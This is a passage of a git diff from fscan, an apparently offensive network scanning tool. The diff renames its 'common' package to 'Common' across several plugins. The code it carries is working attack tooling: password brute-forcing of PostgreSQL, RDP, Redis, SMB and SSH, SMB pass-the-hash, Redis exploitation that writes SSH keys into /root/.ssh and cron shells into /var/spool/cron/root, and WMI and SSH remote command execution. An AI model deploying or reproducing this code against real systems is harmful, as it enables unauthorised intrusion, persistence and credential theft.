common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { return err } } @@ -43,12 +43,12 @@ func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, e dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") db, err := sql.Open("postgres", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) defer db.Close() err = db.Ping() if err == nil { result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) + Common.LogSuccess(result) flag = true } } diff --git a/Plugins/rdp.go b/Plugins/RDP.go similarity index 89% rename from Plugins/rdp.go rename to Plugins/RDP.go index 4bae7a6..4e80e1f 100644 --- a/Plugins/rdp.go +++ b/Plugins/RDP.go @@ -3,8 +3,8 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" "github.com/tomatome/grdp/protocol/nla" @@ -28,25 +28,25 @@ type Brutelist struct { } func RdpScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } var wg sync.WaitGroup var signal bool var num = 0 - var all = len(common.Userdict["rdp"]) * len(common.Passwords) + var all = len(Common.Userdict["rdp"]) * len(Common.Passwords) var mutex sync.Mutex brlist := make(chan Brutelist) port, _ := strconv.Atoi(info.Ports) - for i := 0; i < common.BruteThread; i++ { + for i := 0; i < Common.BruteThread; i++ { wg.Add(1) - go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout) + go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout) } - for _, user := range common.Userdict["rdp"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["rdp"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) brlist <- Brutelist{user, pass} } @@ -78,12 +78,12 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute } else { result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass) } - common.LogSuccess(result) + Common.LogSuccess(result) *signal = true return } else { errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) } } } @@ -126,7 +126,7 @@ func NewClient(host string, logLevel glog.LEVEL) *Client { } func (g *Client) Login(domain, user, pwd string, timeout int64) error { - conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) if err != nil { return fmt.Errorf("[dial err] %v", err) } diff --git a/Plugins/redis.go b/Plugins/Redis.go similarity index 89% rename from Plugins/redis.go rename to Plugins/Redis.go index 39e6a6b..06d24c5 100644 --- a/Plugins/redis.go +++ b/Plugins/Redis.go @@ -3,8 +3,8 @@ package Plugins import ( "bufio" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "io" "net" "os" @@ -23,22 +23,22 @@ func RedisScan(info *Config.HostInfo) (tmperr error) { if flag == true && err == nil { return err } - if common.IsBrute { + if Common.IsBrute { return } - for _, pass := range common.Passwords { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) flag, err := RedisConn(info, pass) if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { return err } } @@ -49,12 +49,12 @@ func RedisScan(info *Config.HostInfo) (tmperr error) { func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return flag, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return flag, err } @@ -71,11 +71,11 @@ func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { dbfilename, dir, err = getconfig(conn) if err != nil { result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) - common.LogSuccess(result) + Common.LogSuccess(result) return flag, err } else { result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) - common.LogSuccess(result) + Common.LogSuccess(result) } err = Expoilt(realhost, conn) } @@ -85,12 +85,12 @@ func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return flag, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return flag, err } @@ -107,11 +107,11 @@ func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { dbfilename, dir, err = getconfig(conn) if err != nil { result := fmt.Sprintf("[+] Redis %s unauthorized", realhost) - common.LogSuccess(result) + Common.LogSuccess(result) return flag, err } else { result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename) - common.LogSuccess(result) + Common.LogSuccess(result) } err = Expoilt(realhost, conn) } @@ -119,7 +119,7 @@ func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { } func Expoilt(realhost string, conn net.Conn) error { - if common.Noredistest { + if Common.Noredistest { return nil } flagSsh, flagCron, err := testwrite(conn) @@ -128,16 +128,16 @@ func Expoilt(realhost string, conn net.Conn) error { } if flagSsh == true { result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost) - common.LogSuccess(result) - if common.RedisFile != "" { - writeok, text, err := writekey(conn, common.RedisFile) + Common.LogSuccess(result) + if Common.RedisFile != "" { + writeok, text, err := writekey(conn, Common.RedisFile) if err != nil { fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) return err } if writeok { result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost) - common.LogSuccess(result) + Common.LogSuccess(result) } else { fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text) } @@ -146,15 +146,15 @@ func Expoilt(realhost string, conn net.Conn) error { if flagCron == true { result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost) - common.LogSuccess(result) - if common.RedisShell != "" { - writeok, text, err := writecron(conn, common.RedisShell) + Common.LogSuccess(result) + if Common.RedisShell != "" { + writeok, text, err := writecron(conn, Common.RedisShell) if err != nil { return err } if writeok { result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost) - common.LogSuccess(result) + Common.LogSuccess(result) } else { fmt.Println("[-] Redis ", realhost, "cron write failed", text) } diff --git a/Plugins/smb.go b/Plugins/SMB.go similarity index 81% rename from Plugins/smb.go rename to Plugins/SMB.go index 138aef2..785861a 100644 --- a/Plugins/smb.go +++ b/Plugins/SMB.go @@ -3,8 +3,8 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "github.com/stacktitan/smb/smb" "strings" "time" @@ -13,15 +13,15 @@ import ( // SmbScan 执行SMB服务的认证扫描 func SmbScan(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 - if common.IsBrute { + if Common.IsBrute { return nil } startTime := time.Now().Unix() // 遍历用户名和密码字典进行认证尝试 - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["smb"] { + for _, pass := range Common.Passwords { // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) @@ -31,30 +31,30 @@ func SmbScan(info *Config.HostInfo) (tmperr error) { if success && err == nil { // 认证成功,记录结果 var result string - if common.Domain != "" { + if Common.Domain != "" { result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", - info.Host, info.Ports, common.Domain, user, pass) + info.Host, info.Ports, Common.Domain, user, pass) } else { result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", info.Host, info.Ports, user, pass) } - common.LogSuccess(result) + Common.LogSuccess(result) return err } else { // 认证失败,记录错误 errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, user, pass, strings.ReplaceAll(err.Error(), "\n", "")) - common.LogError(errorMsg) + Common.LogError(errorMsg) tmperr = err // 检查是否需要中断扫描 - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } // 检查是否超时 - timeoutLimit := int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout + timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout if time.Now().Unix()-startTime > timeoutLimit { return err } @@ -74,7 +74,7 @@ func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struc Port: 445, User: user, Password: pass, - Domain: common.Domain, + Domain: Common.Domain, Workstation: "", } @@ -105,7 +105,7 @@ func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, select { case <-signal: return flag, err - case <-time.After(time.Duration(common.Timeout) * time.Second): + case <-time.After(time.Duration(Common.Timeout) * time.Second): return false, errors.New("[!] SMB连接超时") } } diff --git a/Plugins/smb2.go b/Plugins/SMB2.go similarity index 81% rename from Plugins/smb2.go rename to Plugins/SMB2.go index eadf67d..76b25fe 100644 --- a/Plugins/smb2.go +++ b/Plugins/SMB2.go @@ -2,8 +2,8 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "net" "os" "strings" @@ -15,7 +15,7 @@ import ( // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 func SmbScan2(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 - if common.IsBrute { + if Common.IsBrute { return nil } @@ -23,7 +23,7 @@ func SmbScan2(info *Config.HostInfo) (tmperr error) { startTime := time.Now().Unix() // 使用哈希认证模式 - if len(common.HashBytes) > 0 { + if len(Common.HashBytes) > 0 { return smbHashScan(info, hasprint, startTime) } @@ -33,8 +33,8 @@ func SmbScan2(info *Config.HostInfo) (tmperr error) { // smbHashScan 使用哈希进行认证扫描 func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { - for _, user := range common.Userdict["smb"] { - for _, hash := range common.HashBytes { + for _, user := range Common.Userdict["smb"] { + for _, hash := range Common.HashBytes { success, err, printed := Smb2Con(info, user, "", hash, hasprint) if printed { hasprint = true @@ -47,11 +47,11 @@ func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { logFailedAuth(info, user, "", hash, err) - if shouldStopScan(err, startTime, len(common.Userdict["smb"])*len(common.HashBytes)) { + if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) { return err } - if len(common.Hash) > 0 { + if len(Common.Hash) > 0 { break } } @@ -61,8 +61,8 @@ func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { // smbPasswordScan 使用密码进行认证扫描 func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error { - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["smb"] { + for _, pass := range Common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint) if printed { @@ -76,11 +76,11 @@ func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) erro logFailedAuth(info, user, pass, []byte{}, err) - if shouldStopScan(err, startTime, len(common.Userdict["smb"])*len(common.Passwords)) { + if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) { return err } - if len(common.Hash) > 0 { + if len(Common.Hash) > 0 { break } } @@ -91,20 +91,20 @@ func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) erro // logSuccessfulAuth 记录成功的认证 func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { var result string - if common.Domain != "" { + if Common.Domain != "" { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", - info.Host, info.Ports, common.Domain, user) + info.Host, info.Ports, Common.Domain, user) } else { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ", info.Host, info.Ports, user) } if len(hash) > 0 { - result += fmt.Sprintf("Hash:%v", common.Hash) + result += fmt.Sprintf("Hash:%v", Common.Hash) } else { result += fmt.Sprintf("Pass:%v", pass) } - common.LogSuccess(result) + Common.LogSuccess(result) } // logFailedAuth 记录失败的认证 @@ -112,22 +112,22 @@ func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err er var errlog string if len(hash) > 0 { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", - info.Host, info.Ports, user, common.Hash, err) + info.Host, info.Ports, user, Common.Hash, err) } else { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, user, pass, err) } errlog = strings.ReplaceAll(errlog, "\n", " ") - common.LogError(errlog) + Common.LogError(errlog) } // shouldStopScan 检查是否应该停止扫描 func shouldStopScan(err error, startTime int64, totalAttempts int) bool { - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return true } - if time.Now().Unix()-startTime > (int64(totalAttempts) * common.Timeout) { + if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) { return true } @@ -138,7 +138,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool { func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), - time.Duration(common.Timeout)*time.Second) + time.Duration(Common.Timeout)*time.Second) if err != nil { return false, fmt.Errorf("连接失败: %v", err), false } @@ -147,7 +147,7 @@ func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, haspr // 配置NTLM认证 initiator := smb2.NTLMInitiator{ User: user, - Domain: common.Domain, + Domain: Common.Domain, } // 设置认证方式(哈希或密码) @@ -202,9 +202,9 @@ func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, var result string // 构建基础信息 - if common.Domain != "" { + if Common.Domain != "" { result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", - info.Host, info.Ports, common.Domain, user) + info.Host, info.Ports, Common.Domain, user) } else { result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", info.Host, info.Ports, user) @@ -212,12 +212,12 @@ func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, // 添加认证信息 if len(hash) > 0 { - result += fmt.Sprintf("Hash:%v ", common.Hash) + result += fmt.Sprintf("Hash:%v ", Common.Hash) } else { result += fmt.Sprintf("Pass:%v ", pass) } // 添加共享列表 result += fmt.Sprintf("可用共享: %v", shares) - common.LogSuccess(result) + Common.LogSuccess(result) } diff --git a/Plugins/ssh.go b/Plugins/SSH.go similarity index 73% rename from Plugins/ssh.go rename to Plugins/SSH.go index d1a5d09..204ab52 100644 --- a/Plugins/ssh.go +++ b/Plugins/SSH.go @@ -2,8 +2,8 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" "io/ioutil" "net" @@ -13,15 +13,15 @@ import ( // SshScan 执行SSH服务的认证扫描 func SshScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } startTime := time.Now().Unix() // 遍历用户名和密码字典进行认证尝试 - for _, user := range common.Userdict["ssh"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["ssh"] { + for _, pass := range Common.Passwords { // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) @@ -33,22 +33,22 @@ func SshScan(info *Config.HostInfo) (tmperr error) { // 记录失败信息 errlog := fmt.Sprintf("[x] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err // 检查是否需要中断扫描 - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } // 检查是否超时 - timeoutLimit := int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout + timeoutLimit := int64(len(Common.Userdict["ssh"])*len(Common.Passwords)) * Common.Timeout if time.Now().Unix()-startTime > timeoutLimit { return err } // 如果指定了SSH密钥,则不进行密码尝试 - if common.SshKey != "" { + if Common.SshKey != "" { return err } } @@ -60,9 +60,9 @@ func SshScan(info *Config.HostInfo) (tmperr error) { func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod - if common.SshKey != "" { + if Common.SshKey != "" { // 使用SSH密钥认证 - pemBytes, err := ioutil.ReadFile(common.SshKey) + pemBytes, err := ioutil.ReadFile(Common.SshKey) if err != nil { return false, fmt.Errorf("读取密钥失败: %v", err) } @@ -81,7 +81,7 @@ func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err er config := &ssh.ClientConfig{ User: user, Auth: auth, - Timeout: time.Duration(common.Timeout) * time.Second, + Timeout: time.Duration(Common.Timeout) * time.Second, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, @@ -97,23 +97,23 @@ func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err er flag = true // 处理认证成功的情况 - if common.Command != "" { + if Common.Command != "" { // 执行指定命令 - output, _ := session.CombinedOutput(common.Command) - if common.SshKey != "" { - common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + output, _ := session.CombinedOutput(Common.Command) + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v\n命令输出:\n%v", info.Host, info.Ports, string(output))) } else { - common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + Common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", info.Host, info.Ports, user, pass, string(output))) } } else { // 仅记录认证成功 - if common.SshKey != "" { - common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v", + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v", info.Host, info.Ports)) } else { - common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v", + Common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v", info.Host, info.Ports, user, pass)) } } diff --git a/Plugins/scanner.go b/Plugins/Scanner.go similarity index 75% rename from Plugins/scanner.go rename to Plugins/Scanner.go index 4c7cff6..385640d 100644 --- a/Plugins/scanner.go +++ b/Plugins/Scanner.go @@ -2,9 +2,9 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "strconv" "strings" "sync" @@ -14,19 +14,19 @@ func Scan(info Config.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 - if common.Scantype == "localinfo" { - ch := make(chan struct{}, common.Threads) + if Common.Scantype == "localinfo" { + ch := make(chan struct{}, Common.Threads) wg := sync.WaitGroup{} AddScan("localinfo", info, &ch, &wg) wg.Wait() - common.LogWG.Wait() - close(common.Results) - fmt.Printf("[✓] 扫描完成 %v/%v\n", common.End, common.Num) + Common.LogWG.Wait() + close(Common.Results) + fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num) return } // 解析目标主机IP - Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) + Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts) if err != nil { fmt.Printf("[!] 解析主机错误: %v\n", err) return @@ -34,29 +34,29 @@ func Scan(info Config.HostInfo) { // 初始化配置 lib.Inithttp() - ch := make(chan struct{}, common.Threads) + ch := make(chan struct{}, Common.Threads) wg := sync.WaitGroup{} var AlivePorts []string - if len(Hosts) > 0 || len(common.HostPort) > 0 { + if len(Hosts) > 0 || len(Common.HostPort) > 0 { // ICMP存活性检测 - if (common.NoPing == false && len(Hosts) > 1) || common.Scantype == "icmp" { - Hosts = CheckLive(Hosts, common.Ping) + if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" { + Hosts = CheckLive(Hosts, Common.Ping) fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts)) - if common.Scantype == "icmp" { - common.LogWG.Wait() + if Common.Scantype == "icmp" { + Common.LogWG.Wait() return } } // 端口扫描策略 - AlivePorts = executeScanStrategy(Hosts, common.Scantype) + AlivePorts = executeScanStrategy(Hosts, Common.Scantype) // 处理自定义端口 - if len(common.HostPort) > 0 { - AlivePorts = append(AlivePorts, common.HostPort...) - AlivePorts = common.RemoveDuplicate(AlivePorts) - common.HostPort = nil + if len(Common.HostPort) > 0 { + AlivePorts = append(AlivePorts, Common.HostPort...) + AlivePorts = Common.RemoveDuplicate(AlivePorts) + Common.HostPort = nil fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) } @@ -70,37 +70,37 @@ func Scan(info Config.HostInfo) { } info.Host, info.Ports = hostParts[0], hostParts[1] - executeScanTasks(info, common.Scantype, &ch, &wg) + executeScanTasks(info, Common.Scantype, &ch, &wg) } } // URL扫描 - for _, url := range common.Urls { + for _, url := range Common.Urls { info.Url = url AddScan("web", info, &ch, &wg) } // 等待所有任务完成 wg.Wait() - common.LogWG.Wait() - close(common.Results) - fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num) + Common.LogWG.Wait() + close(Common.Results) + fmt.Printf("[✓] 扫描已完成: %v/%v\n", Common.End, Common.Num) } // executeScanStrategy 执行端口扫描策略 func executeScanStrategy(Hosts []string, scanType string) []string { switch scanType { case "webonly", "webpoc": - return NoPortScan(Hosts, common.Ports) + return NoPortScan(Hosts, Common.Ports) case "hostname": - common.Ports = "139" - return NoPortScan(Hosts, common.Ports) + Common.Ports = "139" + return NoPortScan(Hosts, Common.Ports) default: if len(Hosts) > 0 { - ports := PortScan(Hosts, common.Ports, common.Timeout) + ports := PortScan(Hosts, Common.Ports, Common.Timeout) fmt.Printf("[+] 存活端口数量: %d\n", len(ports)) if scanType == "portscan" { - common.LogWG.Wait() + Common.LogWG.Wait() return nil } return ports @@ -116,7 +116,7 @@ func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, switch info.Ports { case "135": AddScan("findnet", info, ch, wg) - if common.IsWmi { + if Common.IsWmi { AddScan("wmiexec", info, ch, wg) } case "445": @@ -160,7 +160,7 @@ func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync. // 增加总任务数 Mutex.Lock() - common.Num += 1 + Common.Num += 1 Mutex.Unlock() // 执行扫描 @@ -168,7 +168,7 @@ func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync. // 增加已完成任务数 Mutex.Lock() - common.End += 1 + Common.End += 1 Mutex.Unlock() }() } diff --git a/Plugins/wmiexec.go b/Plugins/WMIExec.go similarity index 75% rename from Plugins/wmiexec.go rename to Plugins/WMIExec.go index bd230e2..5337f03 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/WMIExec.go @@ -3,8 +3,8 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "os" "strings" "time" @@ -28,42 +28,42 @@ func init() { } func WmiExec(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return nil } starttime := time.Now().Unix() - for _, user := range common.Userdict["smb"] { + for _, user := range Common.Userdict["smb"] { PASS: - for _, pass := range common.Passwords { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - flag, err := Wmiexec(info, user, pass, common.Hash) + flag, err := Wmiexec(info, user, pass, Common.Hash) errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) - common.LogError(errlog) + Common.LogError(errlog) if flag == true { var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + if Common.Domain != "" { + result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user) } else { result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) } - if common.Hash != "" { - result += "hash: " + common.Hash + if Common.Hash != "" { + result += "hash: " + Common.Hash } else { result += pass } - common.LogSuccess(result) + Common.LogSuccess(result) return err } else { tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) { return err } } - if len(common.Hash) == 32 { + if len(Common.Hash) == 32 { break PASS } } @@ -73,8 +73,8 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - wmiexec.Timeout = int(common.Timeout) - return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) + wmiexec.Timeout = int(Common.Timeout) + return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) } func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { diff --git a/Plugins/webtitle.go b/Plugins/WebTitle.go similarity index 90% rename from Plugins/webtitle.go rename to Plugins/WebTitle.go index d04bc84..ccc4e98 100644 --- a/Plugins/webtitle.go +++ b/Plugins/WebTitle.go @@ -13,14 +13,14 @@ import ( "time" "unicode/utf8" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan" "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "golang.org/x/text/encoding/simplifiedchinese" ) func WebTitle(info *Config.HostInfo) error { - if common.Scantype == "webpoc" { + if Common.Scantype == "webpoc" { WebScan.WebScan(info) return nil } @@ -32,11 +32,11 @@ func WebTitle(info *Config.HostInfo) error { return nil } } - if !common.NoPoc && err == nil { + if !Common.NoPoc && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) - common.LogError(errlog) + Common.LogError(errlog) } return err } @@ -49,13 +49,13 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData info.Url = fmt.Sprintf("https://%s", info.Host) default: host := fmt.Sprintf("%s:%s", info.Host, info.Ports) - protocol := GetProtocol(host, common.Timeout) + protocol := GetProtocol(host, Common.Timeout) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) } } else { if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0] - protocol := GetProtocol(host, common.Timeout) + protocol := GetProtocol(host, Common.Timeout) info.Url = fmt.Sprintf("%s://%s", protocol, info.Url) } } @@ -113,14 +113,14 @@ func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er if err != nil { return err, "", CheckData } - req.Header.Set("User-agent", common.UserAgent) - req.Header.Set("Accept", common.Accept) + req.Header.Set("User-agent", Common.UserAgent) + req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - if common.Cookie != "" { - req.Header.Set("Cookie", common.Cookie) + if Common.Cookie != "" { + req.Header.Set("Cookie", Common.Cookie) } - //if common.Pocinfo.Cookie != "" { - // req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) + //if Common.Pocinfo.Cookie != "" { + // req.Header.Set("Cookie", "rememberMe=1;"+Common.Pocinfo.Cookie) //} else { // req.Header.Set("Cookie", "rememberMe=1") //} @@ -162,7 +162,7 @@ func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er if reurl != "" { result += fmt.Sprintf(" 跳转url: %s", reurl) } - common.LogSuccess(result) + Common.LogSuccess(result) } if reurl != "" { return nil, reurl, CheckData @@ -233,7 +233,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) { return } - socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) + socksconn, err := 